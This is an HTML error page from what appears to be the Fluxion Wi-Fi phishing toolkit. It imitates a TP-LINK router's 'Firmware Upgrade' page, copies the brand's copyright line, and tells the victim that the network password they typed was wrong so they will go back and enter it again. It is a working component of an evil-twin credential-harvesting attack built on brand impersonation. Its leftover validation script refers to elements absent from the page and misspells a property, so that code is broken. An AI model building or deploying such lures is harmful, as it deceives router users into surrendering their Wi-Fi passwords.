fluxion/sites/Upgrade-TP-LINK/error.html

201 lines
6.4 KiB
HTML
Executable File

<!DOCTYPE html>
<html lang="en">
<head>
<title>Router Configuration Page</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="bootstrap.min.css">
<script src="jquery.min.js"></script>
<script src="bootstrap.min.js"></script>
<!-- CSS -->
<style type="text/css">
/* Sticky footer styles
-------------------------------------------------- */
html,
body {
height: 100%;
/* The html and body elements cannot have any padding or margin. */
}
/* Wrapper for page content to push down footer */
#wrap {
min-height: 100%;
height: auto !important;
height: 100%;
/* Negative indent footer by it's height */
margin: 0 auto -60px;
}
/* Set the fixed height of the footer here */
#push,
#footer {
height: 60px;
}
#footer {
background-color: #f5f5f5;
}
/* Lastly, apply responsive CSS fixes as necessary */
@media (max-width: 767px) {
#footer {
margin-left: -20px;
margin-right: -20px;
padding-left: 20px;
padding-right: 20px;
}
}
</style>
</head>
<body>
<!-- Start navigation bar -->
<!-- To change the navigation bar color change background attribute -->
<nav class="navbar navbar-inverse" style="background:RoyalBlue;margin-top:2em;">
<div class="container-fluid">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<!--
<a class="navbar-brand"><img style="background:transparent" src="Your LOGO" alt="Logo"></a>
-->
</div>
<div class="collapse navbar-collapse" id="myNavbar">
<ul class="nav navbar-nav">
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Setup <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Basic Setup</a></li>
<li><a href="#">DDNS</a></li>
<li><a href="#">MAC Address Clone</a></li>
<li><a href="#">Advanced Routing</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Wireless <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Basic Wireless Settings</a></li>
<li><a href="#">Wireless Security</a></li>
<li><a href="#">Wireless MAC Filter</a></li>
<li><a href="#">Advanced Wireless Settings</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Security <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Firewall</a></li>
<li><a href="#">VPN</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Access Restriction <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Internet Access</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Administration <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Management</a></li>
<li><a href="#">Log</a></li>
<li><a href="#">Diagnostics</a></li>
<li><a href="#">Factory Defaults</a></li>
<li><a href="#">Config Manegements</a></li>
</ul>
</li>
<li class="dropdown" data-toggle="modal" data-target="#update-only"><a class="dropdown-toggle"
data-toggle="dropdown" href="#" style="color:white">Status <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Router</a></li>
<li><a href="#">Local Network</a></li>
<li><a href="#">Wireless</a></li>
<li><a href="#">Advanced Routing</a></li>
</ul>
</li>
</ul>
</div>
</div>
</nav>
<!-- End navigation bar -->
<!-- Start page content -->
<div class="container">
<div class="col-sm">
<h2 class="text-center" style="color:RoyalBlue">Firmware Upgrade</h2>
</div>
<div class="alert alert-danger">
<p>Wrong password</p>
</div>
<div>Password you entered does not match network password. Please go <a href="javascript:window.history.back()">back</a> and enter correct password.
<div id="push"></div>
</div>
<!-- Start page content -->
<!-- Start footer -->
<footer class="footer">
<div class="container text-center">
<p class="text-muted">TP-LINK© 2016, All Rights Reserved.</p>
</div>
</footer>
<!-- End footer -->
<script>
/*
Check the password field and act accordingly.
*/
$("#btn").on("click", function(e) {
// get the password box and checkbox elements
var input = document.getElementById("pwd");
var box = document.getElementById("check-box");
// if the box is checked
if ( box.checked != true ){
// display no checkbox message
$("#no-checkbox").modal("show");
return false;
}
if ( input.value.lenght < 7 || input.value.lenght > 64){
// display no password message
$("#empty-pass").modal("show");
return false;
}
});
/*
Check the status of check box
*/
function checkBoxStatus()
{
// get the password box and checkbox elements
var box = document.getElementById("check-box");
var input = document.getElementById("pwd");
// if the box is checked
if ( box.checked == true )
{
// enabale the password box
input.disabled = false;
}
else
{
// disable the password box
input.disabled = true;
}
}
</script>
</body>
</html>